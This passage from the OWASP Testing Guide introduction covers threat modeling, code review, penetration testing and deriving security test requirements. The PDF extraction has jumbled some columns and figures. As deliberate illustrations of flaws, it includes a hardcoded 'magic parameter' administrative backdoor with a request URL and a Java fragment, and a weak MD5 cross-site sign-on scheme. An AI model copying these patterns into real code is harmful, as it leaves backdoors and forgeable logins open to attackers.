Manual reviews are particularly good for testing whether people
understand the security process, have been made aware of policy,
and have the appropriate skills to design or implement a secure
application.
Other activities, including manually reviewing the documentation,
secure coding policies, security requirements, and architectural
designs, should all be accomplished using manual inspections.
• Requires no supporting technology
• Can be applied to a variety of situations
• Flexible
• Promotes teamwork
• Early in the SDLC
• Can be time consuming
• Supporting material not always available
• Requires significant human thought and skill to be effective

Threat Modeling

Overview
Threat modeling has become a popular technique to help system
designers think about the security threats that their systems and
applications might face. Therefore, threat modeling can be seen as
risk assessment for applications. In fact, it enables the designer to
develop mitigation strategies for potential vulnerabilities and helps
them focus their inevitably limited resources and attention on the
parts of the system that most require it. It is recommended that
all applications have a threat model developed and documented.
Threat models should be created as early as possible in the SDLC,
and should be revisited as the application evolves and development progresses.
To develop a threat model, we recommend taking a simple approach that follows the NIST 800-30 [11] standard for risk assessment. This approach involves:
• Decomposing the application – use a process of manual
inspection to understand how the application works, its assets,
functionality, and connectivity.
• Defining and classifying the assets – classify the assets into
tangible and intangible assets and rank them according to
• Exploring potential vulnerabilities - whether technical,
operational,or management.
• Exploring potential threats – develop a realistic view of potential
attack vectors from an attacker’s perspective, by using threat
scenarios or attack trees.
• Creating mitigation strategies – develop mitigating controls for
each of the threats deemed to be realistic.
The output from a threat model itself can vary but is typically a
collection of lists and diagrams. The OWASP Code Review Guide
outlines an Application Threat Modeling methodology that can be
used as a reference for the testing applications for potential security flaws in the design of the application. There is no right or
wrong way to develop threat models and perform information risk
assessments on applications. [12].
• Practical attacker’s view of the system
• Flexible
• Early in the SDLC
• Relatively new technique
• Good threat models don’t automatically mean good software

Source Code Review

Overview
Source code review is the process of manually checking the source
code of a web application for security issues. Many serious security vulnerabilities cannot be detected with any other form of analysis or testing. As the popular saying goes “if you want to know
what’s really going on, go straight to the source.” Almost all security experts agree that there is no substitute for actually looking
at the code. All the information for identifying security problems
is there in the code somewhere. Unlike testing third party closed

14

Testing Guide Introduction

software such as operating systems, when testing web applications (especially if they have been developed in-house) the source
code should be made available for testing purposes.
Many unintentional but significant security problems are also extremely difficult to discover with other forms of analysis or testing, such as penetration testing, making source code analysis the
technique of choice for technical testing. With the source code, a
tester can accurately determine what is happening (or is supposed
to be happening) and remove the guess work of black box testing.
Examples of issues that are particularly conducive to being found
through source code reviews include concurrency problems, flawed
business logic, access control problems, and cryptographic weaknesses as well as backdoors, Trojans, Easter eggs, time bombs,
logic bombs, and other forms of malicious code. These issues often manifest themselves as the most harmful vulnerabilities in
web sites. Source code analysis can also be extremely efficient to
find implementation issues such as places where input validation
was not performed or when fail open control procedures may be
present. But keep in mind that operational procedures need to be
reviewed as well, since the source code being deployed might not
be the same as the one being analyzed herein [13].
• Completeness and effectiveness
• Accuracy
• Fast (for competent reviewers)
• Requires highly skilled security developers
• Can miss issues in compiled libraries
• Cannot detect run-time errors easily
• The source code actually deployed might differ from the one
being analyzed
For more on code review, checkout the OWASP code review project.

Penetration Testing

Overview
Penetration testing has been a common technique used to test
network security for many years. It is also commonly known as
black box testing or ethical hacking. Penetration testing is essentially the “art” of testing a running application remotely to find
security vulnerabilities, without knowing the inner workings of
the application itself. Typically, the penetration test team would
have access to an application as if they were users. The tester acts
like an attacker and attempts to find and exploit vulnerabilities. In
many cases the tester will be given a valid account on the system.
While penetration testing has proven to be effective in network
security, the technique does not naturally translate to applications. When penetration testing is performed on networks and
operating systems, the majority of the work is involved in finding
and then exploiting known vulnerabilities in specific technologies.
As web applications are almost exclusively bespoke, penetration
testing in the web application arena is more akin to pure research.
Penetration testing tools have been developed that automate the
process, but with the nature of web applications their effective-

ness is usually poor.
Many people today use web application penetration testing as
their primary security testing technique. Whilst it certainly has its
place in a testing program, we do not believe it should be considered as the primary or only testing technique. Gary McGraw in [14]
summed up penetration testing well when he said, “If you fail a
penetration test you know you have a very bad problem indeed. If
you pass a penetration test you do not know that you don’t have
a very bad problem”. However, focused penetration testing (i.e.,
testing that attempts to exploit known vulnerabilities detected in
previous reviews) can be useful in detecting if some specific vulnerabilities are actually fixed in the source code deployed on the
web site.
• Can be fast (and therefore cheap)
• Requires a relatively lower skill-set than source code review
• Tests the code that is actually being exposed
• Too late in the SDLC
• Front impact testing only.

The Need for a Balanced Approach

With so many techniques and approaches to testing the security of
web applications it can be difficult to understand which techniques
to use and when to use them. Experience shows that there is no
right or wrong answer to the question of exactly what techniques
should be used to build a testing framework. In fact all techniques
should probably be used to test all the areas that need to be tested.
Although it is clear that there is no single technique that can be
performed to effectively cover all security testing and ensure that
approach. The approach used has historically been penetration
testing. Penetration testing, while useful, cannot effectively address many of the issues that need to be tested. It is simply “too
little too late” in the software development life cycle (SDLC).
The correct approach is a balanced approach that includes several
techniques, from manual reviews to technical testing. A balanced
approach should cover testing in all phases of the SDLC. This approach leverages the most appropriate techniques available depending on the current SDLC phase.
Of course there are times and circumstances where only one technique is possible. For example, a test on a web application that has
already been created, but where the testing party does not have
access to the source code. In this case, penetration testing is clearly
better than no testing at all. However, the testing parties should be
code, and to explore the possibility of more complete testing.
A balanced approach varies depending on many factors, such as
the maturity of the testing process and corporate culture. It is recommended that a balanced testing framework should look something like the representations shown in Figure 3 and Figure 4. The
following figure shows a typical proportional representation over-

15

Testing Guide Introduction

laid onto the software development life cycle. In keeping with research and experience, it is essential that companies place a higher
emphasis on the early stages of development.

10

Figure 3: Proportion of Test Effort in SDLC

5%
0-1
%1
5
-1

10 35
%

DEFINE
DESIGN
DEVELOP

MAINTAIN

12 -

15
-

35%

DEPLOY

‘Example 1: Magic Parameters’
Imagine a simple web application that accepts a name-value pair of
“magic” and then the value. For simplicity, the GET request may be:
http://www.host/application?magic=value
To further simplify the example, the values in this case can only be ASCII characters a – z (upper or lowercase) and integers 0 – 9.
The designers of this application created an administrative backdoor
during testing, but obfuscated it to prevent the casual observer from
discovering it. By submitting the value sf8g7sfjdsurtsdieerwqredsgnfg8d (30 characters), the user will then be logged in and presented
with an administrative screen with total control of the application. The
HTTP request is now:
http://www.host/application?magic= sf8g7sfjdsurtsdieerwqredsgnfg8d

%
25

Given that all of the other parameters were simple two- and
three-characters fields, it is not possible to start guessing combinations at approximately 28 characters. A web application scanner will
need to brute force (or guess) the entire key space of 30 characters.
That is up to 30^28 permutations, or trillions of HTTP requests. That
is an electron in a digital haystack.
The code for this exemplar Magic Parameter check may look like the
following:

The following figure shows a typical proportional representation
overlaid onto testing techniques.
Figure 4: Proportion of Test Effort According to Test Technique

PROCESS REVIEWS
& MANUAL INSPECTIONS
CODE REVIEW
SECURITY TESTING

A Note about Web Application Scanners
Many organizations have started to use automated web application
scanners. While they undoubtedly have a place in a testing program,
some fundamental issues need to be highlighted about why it is believed that automating black box testing is not (or will ever be) effective. However, highlighting these issues should not discourage the use
of web application scanners. Rather, the aim is to ensure the limitations are understood and testing frameworks are planned appropriately.
Important: OWASP is currently working to develop a web application
scanner bench marking platform. The following examples show why
automated black box testing is not effective.

public void doPost( HttpServletRequest request, HttpServletResponse response)
{
String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”;
else …. // normal processing
}
By looking in the code, the vulnerability practically leaps off the page
as a potential problem.
Cryptography is widely used in web applications. Imagine that a developer decided to write a simple cryptography algorithm to sign a user
in from site A to site B automatically. In his/her wisdom, the developer
decides that if a user is logged into site A, then he/she will generate
a key using an MD5 hash function that comprises: Hash { username :
date }
When a user is passed to site B, he/she will send the key on the query
string to site B in an HTTP re-direct. Site B independently computes
the hash, and compares it to the hash passed on the request. If they
match, site B signs the user in as the user they claim to be.
As the scheme is explained the inadequacies can be worked out. Anyone that figures out the scheme (or is told how it works, or downloads
the information from Bugtraq) can log in as any user. Manual inspection, such as a review or code inspection, would have uncovered this
security issue quickly. A black-box web application scanner would not
have uncovered the vulnerability. It would have seen a 128-bit hash
that changed with each user, and by the nature of hash functions, did
not change in any predictable way.

16

Testing Guide Introduction

A Note about Static Source Code Review Tools
Many organizations have started to use static source code scanners.
While they undoubtedly have a place in a comprehensive testing program, it is necessary to highlight some fundamental issues about why
this approach is not effective when used alone. Static source code
analysis alone cannot identify issues due to flaws in the design, since
it cannot understand the context in which the code is constructed.
Source code analysis tools are useful in determining security issues
due to coding errors, however significant manual effort is required to
validate the findings.

Deriving Security Test Requirements

To have a successful testing program, one must know what the testing objectives are. These objectives are specified by the security requirements. This section discusses in detail how to document requirements for security testing by deriving them from applicable standards
and regulations, and from positive and negative application requirements. It also discusses how security requirements effectively drive
security testing during the SDLC and how security test data can be
used to effectively manage software security risks.
Testing Objectives
One of the objectives of security testing is to validate that security
controls operate as expected. This is documented via security requirements that describe the functionality of the security control. At a
high level, this means proving confidentiality, integrity, and availability
of the data as well as the service. The other objective is to validate
that security controls are implemented with few or no vulnerabilities.
These are common vulnerabilities, such as the OWASP Top Ten, as
well as vulnerabilities that have been previously identified with security assessments during the SDLC, such as threat modelling, source
code analysis, and penetration test.
Security Requirements Documentation
The first step in the documentation of security requirements is to
document can provide initial high-level information on the expected
functionality of the application. For example, the main purpose of an
application may be to provide financial services to customers or to allow goods to be purchased from an on-line catalog. A security section
of the business requirements should highlight the need to protect the
customer data as well as to comply with applicable security documentation such as regulations, standards, and policies.
A general checklist of the applicable regulations, standards, and policies is a good preliminary security compliance analysis for web applications. For example, compliance regulations can be identified by
state where the application will operate. Some of these compliance
guidelines and regulations might translate into specific technical requirements for security controls. For example, in the case of financial
applications, the compliance with FFIEC guidelines for authentication
[15] requires that financial institutions implement applications that
mitigate weak authentication risks with multi-layered security control and multi-factor authentication.
Applicable industry standards for security need also to be captured by
the general security requirement checklist. For example, in the case
of applications that handle customer credit card data, the compliance
with the PCI DSS [16] standard forbids the storage of PINs and CVV2
data and requires that the merchant protect magnetic strip data in

storage and transmission with encryption and on display by masking. Such PCI DSS security requirements could be validated via source
code analysis.
Another section of the checklist needs to enforce general requirements for compliance with the organization’s information security
standards and policies. From the functional requirements perspective, requirements for the security control need to map to a specific
section of the information security standards. An example of such requirement can be: “a password complexity of six alphanumeric characters must be enforced by the authentication controls used by the
application.” When security requirements map to compliance rules a
security test can validate the exposure of compliance risks. If violation
with information security standards and policies are found, these will
result in a risk that can be documented and that the business has to
manage. Since these security compliance requirements are enforceable, they need to be well documented and validated with security
tests.
Security Requirements Validation
From the functionality perspective, the validation of security requirements is the main objective of security testing. From the risk management perspective, the validation of security requirements is the
objective of information security assessments. At a high level, the
main goal of information security assessments is the identification of
gaps in security controls, such as lack of basic authentication, authorization, or encryption controls. More in depth, the security assessment objective is risk analysis, such as the identification of potential
weaknesses in security controls that ensure the confidentiality, integrity, and availability of the data. For example, when the application
deals with personal identifiable information (PII) and sensitive data,
the security requirement to be validated is the compliance with the
company information security policy requiring encryption of such
data in transit and in storage. Assuming encryption is used to protect
the data, encryption algorithms and key lengths need to comply with
the organization encryption standards. These might require that only
certain algorithms and key lengths could be used. For example, a security requirement that can be security tested is verifying that only
allowed ciphers are used (e.g., SHA-256, RSA, AES) with allowed minimum key lengths (e.g., more than 128 bit for symmetric and more
than 1024 for asymmetric encryption).
From the security assessment perspective, security requirements can
be validated at different phases of the SDLC by using different artifacts and testing methodologies. For example, threat modeling focuses on identifying security flaws during design, secure code analysis
and reviews focus on identifying security issues in source code during
development, and penetration testing focuses on identifying vulnerabilities in the application during testing or validation.
Security issues that are identified early in the SDLC can be documented in a test plan so they can be validated later with security tests. By
combining the results of different testing techniques, it is possible to
derive better security test cases and increase the level of assurance
of the security requirements. For example, distinguishing true vulnerabilities from the un-exploitable ones is possible when the results of
penetration tests and source code analysis are combined. Considering
the security test for a SQL injection vulnerability, for example, a black
box test might first involve a scan of the application to fingerprint the
vulnerability. The first evidence of a potential SQL injection vulnerability that can be validated is the generation of a SQL exception. A further

17

Testing Guide Introduction

validation of the SQL vulnerability might involve manually injecting
attack vectors to modify the grammar of the SQL query for an information disclosure exploit. This might involve a lot of trial-and-error
analysis until the malicious query is executed. Assuming the tester
has the source code, she might learn from the source code analysis
on how to construct the SQL attack vector that can exploit the vulnerability (e.g., execute a malicious query returning confidential data
to unauthorized user).
Threats and Countermeasures Taxonomies
A threat and countermeasure classification, which takes into consideration root causes of vulnerabilities, is the critical factor in verifying that security controls are designed, coded, and built to mitigate the impact of the exposure of such vulnerabilities. In the case
of web applications, the exposure of security controls to common
vulnerabilities, such as the OWASP Top Ten, can be a good starting
point to derive general security requirements. More specifically, the
web application security frame [17] provides a classification (e.g.
taxonomy) of vulnerabilities that can be documented in different
guidelines and standards and validated with security tests.
The focus of a threat and countermeasure categorization is to define
security requirements in terms of the threats and the root cause of
the vulnerability. A threat can be categorized by using STRIDE [18]
as Spoofing, Tampering, Repudiation, Information disclosure, Denial
of service, and Elevation of privilege. The root cause can be categorized as security flaw in design, a security bug in coding, or an issue
due to insecure configuration. For example, the root cause of weak
authentication vulnerability might be the lack of mutual authentication when data crosses a trust boundary between the client and
server tiers of the application. A security requirement that captures
the threat of non-repudiation during an architecture design review
allows for the documentation of the requirement for the countermeasure (e.g., mutual authentication) that can be validated later on
with security tests.
A threat and countermeasure categorization for vulnerabilities can
also be used to document security requirements for secure coding
such as secure coding standards. An example of a common coding
error in authentication controls consists of applying an hash function to encrypt a password, without applying a seed to the value.
From the secure coding perspective, this is a vulnerability that affects the encryption used for authentication with a vulnerability
root cause in a coding error. Since the root cause is insecure coding
the security requirement can be documented in secure coding standards and validated through secure code reviews during the development phase of the SDLC.
Security Testing and Risk Analysis
Security requirements need to take into consideration the severity
of the vulnerabilities to support a risk mitigation strategy. Assuming
that the organization maintains a repository of vulnerabilities found
in applications (i.e, a vulnerability knowledge base), the security
issues can be reported by type, issue, mitigation, root cause, and
mapped to the applications where they are found. Such a vulnerability knowledge base can also be used to establish a metrics to analyze the effectiveness of the security tests throughout the SDLC.
For example, consider an input validation issue, such as a SQL injection, which was identified via source code analysis and reported with a coding error root cause and input validation vulnerabil-

ity type. The exposure of such vulnerability can be assessed via a
penetration test, by probing input fields with several SQL injection
attack vectors. This test might validate that special characters are
filtered before hitting the database and mitigate the vulnerability.
By combining the results of source code analysis and penetration
testing it is possible to determine the likelihood and exposure of the
vulnerability and calculate the risk rating of the vulnerability. By reporting vulnerability risk ratings in the findings (e.g., test report) it is
possible to decide on the mitigation strategy. For example, high and
medium risk vulnerabilities can be prioritized for remediation, while
low risk can be fixed in further releases.
By considering the threat scenarios of exploiting common vulnerabilities it is possible to identify potential risks that the application
security control needs to be security tested for. For example, the
OWASP Top Ten vulnerabilities can be mapped to attacks such as
phishing, privacy violations, identify theft, system compromise,
data alteration or data destruction, financial loss, and reputation
loss. Such issues should be documented as part of the threat
scenarios. By thinking in terms of threats and vulnerabilities, it
is possible to devise a battery of tests that simulate such attack
scenarios. Ideally, the organization vulnerability knowledge base
can be used to derive security risk driven tests cases to validate
the most likely attack scenarios. For example, if identity theft is
considered high risk, negative test scenarios should validate the
mitigation of impacts deriving from the exploit of vulnerabilities
in authentication, cryptographic controls, input validation, and authorization controls.

Deriving Functional and Non Functional
Test Requirements

Functional Security Requirements
From the perspective of functional security requirements, the applicable standards, policies and regulations drive both the need for
a type of security control as well as the control functionality. These
requirements are also referred to as “positive requirements”, since
they state the expected functionality that can be validated through
security tests. Examples of positive requirements are: “the application will lockout the user after six failed log on attempts” or
“passwords need to be a minimum of six alphanumeric characters”.
The validation of positive requirements consists of asserting the
expected functionality and can be tested by re-creating the testing
conditions and running the test according to predefined inputs. The
results are then shown as as a fail or pass condition.
In order to validate security requirements with security tests, security requirements need to be function driven and they need to
highlight the expected functionality (the what) and implicitly the
implementation (the how). Examples of high-level security design
requirements for authentication can be:
• Protect user credentials and shared secrets in transit and in
storage
• Lock the user account after a certain number of failed log in
attempts
• Do not show specific validation errors to the user as a result of a
failed log on
• Only allow passwords that are alphanumeric, include special
characters and six characters minimum length, to limit the attack
surface

18

Testing Guide Introduction

• Allow for password change functionality only to authenticated
user answer to the challenge question, to prevent brute forcing of
the user’s registered email before sending the temporary
page will be sent to the user. The password reset web page should
as the user answer to the challenge question.
Risk Driven Security Requirements
Security tests need also to be risk driven, that is they need to validate the application for unexpected behavior. These are also called
“negative requirements”, since they specify what the application
should not do.
Examples of negative requirements are:
• The application should not allow for the data to be altered or
destroyed
• The application should not be compromised or misused for
unauthorized financial transactions by a malicious user.
Negative requirements are more difficult to test, because there is
no expected behavior to look for. This might require a threat analyst to come up with unforeseeable input conditions, causes, and
effects. This is where security testing needs to be driven by risk
analysis and threat modeling. The key is to document the threat
scenarios and the functionality of the countermeasure as a factor
to mitigate a threat.
For example, in the case of authentication controls, the following
security requirements can be documented from the threats and
countermeasure perspective:
• Encrypt authentication data in storage and transit to mitigate risk
of information disclosure and authentication protocol attacks
• Encrypt passwords using non reversible encryption such as using
a digest (e.g., HASH) and a seed to prevent dictionary attacks
• Lock out accounts after reaching a log on failure threshold and
enforce password complexity to mitigate risk of brute force
• Display generic error messages upon validation of credentials to
mitigate risk of account harvesting or enumeration
• Mutually authenticate client and server to prevent non-repudiation
and Man In the Middle (MiTM) attacks
Threat modeling tools such as threat trees and attack libraries can
be useful to derive the negative test scenarios. A threat tree will
assume a root attack (e.g., attacker might be able to read other users’ messages) and identify different exploits of security controls
(e.g., data validation fails because of a SQL injection vulnerability)
and necessary countermeasures (e.g., implement data validation
and parametrized queries) that could be validated to be effective
in mitigating such attacks.
Deriving Security Test Requirements Through Use and Misuse
Cases
A prerequisite to describing the application functionality is to un-

derstand what the application is supposed to do and how. This can
be done by describing use cases. Use cases, in the graphical form
as commonly used in software engineering, show the interactions
of actors and their relations. They help to identify the actors in the
application, their relationships, the intended sequence of actions
for each scenario, alternative actions, special requirements, preconditions and and post-conditions.
Similar to use cases, misuse and abuse cases [19] describe unintended and malicious use scenarios of the application. These misuse cases provide a way to describe scenarios of how an attacker
could misuse and abuse the application. By going through the individual steps in a use scenario and thinking about how it can be
maliciously exploited, potential flaws or aspects of the application
that are not well-defined can be discovered. The key is to describe
all possible or, at least, the most critical use and misuse scenarios.
Misuse scenarios allow the analysis of the application from the attacker’s point of view and contribute to identifying potential vulnerabilities and the countermeasures that need to be implemented to
mitigate the impact caused by the potential exposure to such vulnerabilities. Given all of the use and abuse cases, it is important to
analyze them to determine which of them are the most critical ones
and need to be documented in security requirements. The identification of the most critical misuse and abuse cases drives the documentation of security requirements and the necessary controls
where security risks should be mitigated.
To derive security requirements from use and misuse case [20] it is
important to define the functional scenarios and the negative scenarios and put these in graphical form. In the case of derivation of
security requirements for authentication, for example, the following
step-by-step methodology can be followed.
Step 1: Describe the Functional Scenario: User authenticates by
to users based upon authentication of user credentials by the application and provides specific errors to the user when validation fails.
Step 2: Describe the Negative Scenario: Attacker breaks the authentication through a brute force or dictionary attack of passwords and account harvesting vulnerabilities in the application.
The validation errors provide specific information to an attacker to
guess which accounts are actually valid registered accounts (usernames). Then the attacker will try to brute force the password for
such a valid account. A brute force attack to four minimum length
all digit passwords can succeed with a limited number of attempts
(i.e., 10^4).
Step 3: Describe Functional and Negative Scenarios With Use and
Misuse Case: The graphical example in Figure below depicts the
derivation of security requirements via use and misuse cases. The
functional scenario consists of the user actions (enteringa username and password) and the application actions (authenticating
the user and providing an error message if validation fails). The misuse case consists of the attacker actions, i.e. trying to break authentication by brute forcing the password via a dictionary attack and by
guessing the valid usernames from error messages. By graphically
representing the threats to the user actions (misuses), it is possible
to derive the countermeasures as the application actions that mitigate such threats.

19

Testing Guide Introduction

the application build, the results of the static and dynamic analysis
should be reviewed and validated.

USER

Enter
and

Includes

User
authentiction

Brute force
authentication

Includes

APPLICATION /
SERVER

Show
generic
error
message

Harvest
(guess)
valid user
accounts

HACKER /
MALICIOUS
USER

Includes

Look account
after N
attempts

Dictionary
attacks

Includes

Validate
minimum lenght
and complexity

Step 4: Elicit The Security Requirements. In this case, the following
security requirements for authentication are derived:
1) Passwords need to be alphanumeric, lower and upper case and
minimum of seven character length
These security requirements need to be documented and tested.

Security Tests Integrated in Development and
Testing Workflows

Security Testing in the Development Workflow
Security testing during the development phase of the SDLC represents the first opportunity for developers to ensure that the individual software components they have developed are security
tested before they are integrated with other components and built
into the application. Software components might consist of software artifacts such as functions, methods, and classes, as well
as application programming interfaces, libraries, and executable
files. For security testing, developers can rely on the results of the
source code analysis to verify statically that the developed source
code does not include potential vulnerabilities and is compliant with
the secure coding standards. Security unit tests can further verify
dynamically (i.e., at run time) that the components function as expected. Before integrating both new and existing code changes in

The validation of source code before integration in application builds
is usually the responsibility of the senior developer. Such senior developers are also the subject matter experts in software security
and their role is to lead the secure code review. They must make decisions on whether to accept the code to be released in the application build or to require further changes and testing. This secure code
review workflow can be enforced via formal acceptance as well as a
check in a workflow management tool. For example, assuming the
typical defect management workflow used for functional bugs, security bugs that have been fixed by a developer can be reported on a
defect or change management system. The build master can look at
the test results reported by the developers in the tool and grant approvals for checking in the code changes into the application build.
Security Testing in the Test Workflow
After components and code changes are tested by developers and
checked in to the application build, the most likely next step in the
software development process workflow is to perform tests on the
application as a whole entity. This level of testing is usually referred
to as integrated test and system level test. When security tests are
part of these testing activities they can be used to validate both the
security functionality of the application as a whole, as well as the
exposure to application level vulnerabilities.These security tests on
the application include both white box testing, such as source code
analysis, and black box testing, such as penetration testing. Gray
box testing is similar to Black box testing. In a gray box testing it
is assumed that the tester has some partial knowledge about the
session management of the application, and that should help in understanding whether the log out and timeout functions are properly
secured.
The target for the security tests is the complete system that will be
potentially attacked and includes both the whole source code and
the executable. One peculiarity of security testing during this phase
is that it is possible for security testers to determine whether vulnerabilities can be exploited and expose the application to real risks.
These include common web application vulnerabilities, as well as
security issues that have been identified earlier in the SDLC with
other activities such as threat modeling, source code analysis, and
secure code reviews.
Usually testing engineers, rather then software developers, perform security tests when the application is in scope for integration
system tests. Such testing engineers have security knowledge of
web application vulnerabilities, black box and white box security
testing techniques, and own the validation of security requirements
in this phase. In order to perform such security tests, it is a prerequisite that security test cases are documented in the security testing
guidelines and procedures.
A testing engineer who validates the security of the application in
the integrated system environment might release the application
for testing in the operational environment (e.g., user acceptance
tests). At this stage of the SDLC (i.e., validation), the application
functional testing is usually a responsibility of QA testers, while
white-hat hackers or security consultants are usually responsible
for security testing. Some organizations rely on their own specialized ethical hacking team to conduct such tests when a third party

20

Testing Guide Introduction

assessment is not required (such as for auditing purposes).
Since these tests are the last resort for fixing vulnerabilities before the application is released to production, it is important that
such issues are addressed as recommended by the testing team.
The recommendations can include code, design, or configuration
change. At this level, security auditors and information security officers discuss the reported security issues and analyze the potential
risks according to information risk management procedures. Such
procedures might require the development team to fix all high risk
vulnerabilities before the application can be deployed, unless such
risks are acknowledged and accepted.

Developers’ Security Tests

Security Testing in the Coding Phase: Unit Tests
From the developer’s perspective, the main objective of security
tests is to validate that code is being developed in compliance with
secure coding standards requirements. Developers’ own coding
artifacts (such as functions, methods, classes, APIs, and libraries)
need to be functionally validated before being integrated into the
application build.
The security requirements that developers have to follow should be
documented in secure coding standards and validated with static
and dynamic analysis. If the unit test activity follows a secure code
review, unit tests can validate that code changes required by secure code reviews are properly implemented. Secure code reviews
and source code analysis through source code analysis tools help
developers in identifying security issues in source code as it is developed. By using unit tests and dynamic analysis (e.g., debugging)
developers can validate the security functionality of components as
well as verify that the countermeasures being developed mitigate
any security risks previously identified through threat modeling and
source code analysis.

the case of security functional tests, unit level tests can test the
functionality of security controls at the software component level, such as functions, methods, or classes. For example, a test case
could validate input and output validation (e.g., variable sanitation)
and boundary checks for variables by asserting the expected functionality of the component.
The threat scenarios identified with use and misuse cases can be
used to document the procedures for testing software components. In the case of authentication components, for example, security unit tests can assert the functionality of setting an account
lockout as well as the fact that user input parameters cannot be
abused to bypass the account lockout (e.g., by setting the account
lockout counter to a negative number).
At the component level, security unit tests can validate positive assertions as well as negative assertions, such as errors and exception handling. Exceptions should be caught without leaving the system in an insecure state, such as potential denial of service caused
by resources not being de-allocated (e.g., connection handles not
closed within a final statement block), as well as potential elevation
of privileges (e.g., higher privileges acquired before the exception is
thrown and not re-set to the previous level before exiting the function). Secure error handling can validate potential information disclosure via informative error messages and stack traces.
Unit level security test cases can be developed by a security engineer who is the subject matter expert in software security and is
also responsible for validating that the security issues in the source
code have been fixed and can be checked into the integrated system
build. Typically, the manager of the application builds also makes
sure that third-party libraries and executable files are security assessed for potential vulnerabilities before being integrated in the
application build.

A good practice for developers is to build security test cases as a
generic security test suite that is part of the existing unit testing
framework. A generic security test suite could be derived from previously defined use and misuse cases to security test functions,
methods and classes. A generic security test suite might include
security test cases to validate both positive and negative requirements for security controls such as:

Threat scenarios for common vulnerabilities that have root causes
in insecure coding can also be documented in the developer’s security testing guide. When a fix is implemented for a coding defect
identified with source code analysis, for example, security test cases can verify that the implementation of the code change follows
the secure coding requirements documented in the secure coding
standards.

• Identity, Authentication & Access Control
• Input Validation & Encoding
• Encryption
• User and Session Management
• Error and Exception Handling
• Auditing and Logging

Source code analysis and unit tests can validate that the code
change mitigates the vulnerability exposed by the previously identified coding defect. The results of automated secure code analysis
can also be used as automatic check-in gates for version control, for
example software artifacts cannot be checked into the build with
high or medium severity coding issues.

Developers empowered with a source code analysis tool integrated
into their IDE, secure coding standards, and a security unit testing
framework can assess and verify the security of the software components being developed. Security test cases can be run to identify
potential security issues that have root causes in source code: besides input and output validation of parameters entering and exiting
the components, these issues include authentication and authorization checks done by the component, protection of the data within
the component, secure exception and error handling, and secure
auditing and logging. Unit test frameworks such as Junit, Nunit,
and CUnit can be adapted to verify security test requirements. In

Functional Testers’ Security Tests

Security Testing During the Integration and Validation Phase:
Integrated System Tests and Operation Tests
The main objective of integrated system tests is to validate the “defense in depth” concept, that is, that the implementation of security controls provides security at different layers. For example, the
lack of input validation when calling a component integrated with
the application is often a factor that can be tested with integration
testing.
The integration system test environment is also the first environ-

21

Testing Guide Introduction

ment where testers can simulate real attack scenarios as can be
potentially executed by a malicious external or internal user of the
application. Security testing at this level can validate whether vulnerabilities are real and can be exploited by attackers. For example,
a potential vulnerability found in source code can be rated as high
risk because of the exposure to potential malicious users, as well

with the exception of the data (e.g., test data is used in place of real
data). A characteristic of security testing in UAT is testing for security configuration issues. In some cases these vulnerabilities might
represent high risks. For example, the server that hosts the web
application might not be configured with minimum privileges, valid
SSL certificate and secure configuration, essential services disabled
and web root directory not cleaned from test and administration
web pages.

Real attack scenarios can be tested with both manual testing techniques and penetration testing tools. Security tests of this type are
also referred to as ethical hacking tests. From the security testing
perspective, these are risk driven tests and have the objective of
testing the application in the operational environment. The target
is the application build that is representative of the version of the
application being deployed into production.

Security Test Data Analysis and Reporting

Including security testing in the integration and validation phase
is critical to identifying vulnerabilities due to integration of components as well as validating the exposure of such vulnerabilities. Application security testing requires a specialized set of
skills, including both software and security knowledge, that are
not typical of security engineers.As a result organizations are often required to security-train their software developers on ethical
hacking techniques, security assessment procedures and tools.
A realistic scenario is to develop such resources in-house and
document them in security testing guides and procedures that
take into account the developer’s security testing knowledge.
A so called “security test cases cheat list or check-list”, for example,
can provide simple test cases and attack vectors that can be used
by testers to validate exposure to common vulnerabilities such as
spoofing, information disclosures, buffer overflows, format strings,
SQL injection and XSS injection, XML, SOAP, canonicalization issues,
denial of service and managed code and ActiveX controls (e.g., .NET).
A first battery of these tests can be performed manually with a very
basic knowledge of software security.
The first objective of security tests might be the validation of a set
of minimum security requirements. These security test cases might
consist of manually forcing the application into error and exceptional states and gathering knowledge from the application behavior.
For example, SQL injection vulnerabilities can be tested manually by
injecting attack vectors through user input and by checking if SQL
exceptions are thrown back the user. The evidence of a SQL exception error might be a manifestation of a vulnerability that can be
exploited.
A more in-depth security test might require the tester’s knowledge of specialized testing techniques and tools. Besides source
code analysis and penetration testing, these techniques include, for
example, source code and binary fault injection, fault propagation
analysis and code coverage, fuzz testing, and reverse engineering.
The security testing guide should provide procedures and recommend tools that can be used by security testers to perform such
in-depth security assessments.
The next level of security testing after integration system tests is to
perform security tests in the user acceptance environment. There
are unique advantages to performing security tests in the operational environment. The user acceptance tests environment (UAT)
is the one that is most representative of the release configuration,

Goals for Security Test Metrics and Measurements
Defining the goals for the security testing metrics and measurements is a prerequisite for using security testing data for risk analysis and management processes. For example, a measurement
such as the total number of vulnerabilities found with security tests
might quantify the security posture of the application. These measurements also help to identify security objectives for software security testing.For example, reducing the number of vulnerabilities to
an acceptable number (minimum) before the application is deployed
into production.
Another manageable goal could be to compare the application
security posture against a baseline to assess improvements in
application security processes. For example, the security metrics
baseline might consist of an application that was tested only with
penetration tests. The security data obtained from an application
that was also security tested during coding should show an improvement (e.g., fewer number of vulnerabilities) when compared
with the baseline.
In traditional software testing, the number of software defects,
such as the bugs found in an application, could provide a measure of
software quality. Similarly, security testing can provide a measure
of software security. From the defect management and reporting
perspective, software quality and security testing can use similar
categorizations for root causes and defect remediation efforts.
From the root cause perspective, a security defect can be due to an
error in design (e.g., security flaws) or due to an error in coding (e.g.,
security bug). From the perspective of the effort required to fix a
defect, both security and quality defects can be measured in terms
of developer hours to implement the fix, the tools and resources
required to fix, and the cost to implement the fix.
A characteristic of security test data, compared to quality data,
is the categorization in terms of the threat, the exposure of
the vulnerability, and the potential impact posed by the vulnerability to determine the risk. Testing applications for security consists of managing technical risks to make sure that
the application countermeasures meet acceptable levels.
For this reason, security testing data needs to support the security risk strategy at critical checkpoints during the SDLC.
For example, vulnerabilities found in source code with source code
analysis represent an initial measure of risk. A measure of risk
(e.g., high, medium, low) for the vulnerability can be calculated by
determining the exposure and likelihood factors and by validating
the vulnerability with penetration tests. The risk metrics associated to vulnerabilities found with security tests empower business
management to make risk management decisions, such as to decide whether risks can be accepted, mitigated, or transferred at
different levels within the organization (e.g., business as well as
technical risks).

22

Testing Guide Introduction

When evaluating the security posture of an application it is important to take into consideration certain factors, such as the
size of the application being developed. Application size has
been statistically proven to be related to the number of issues
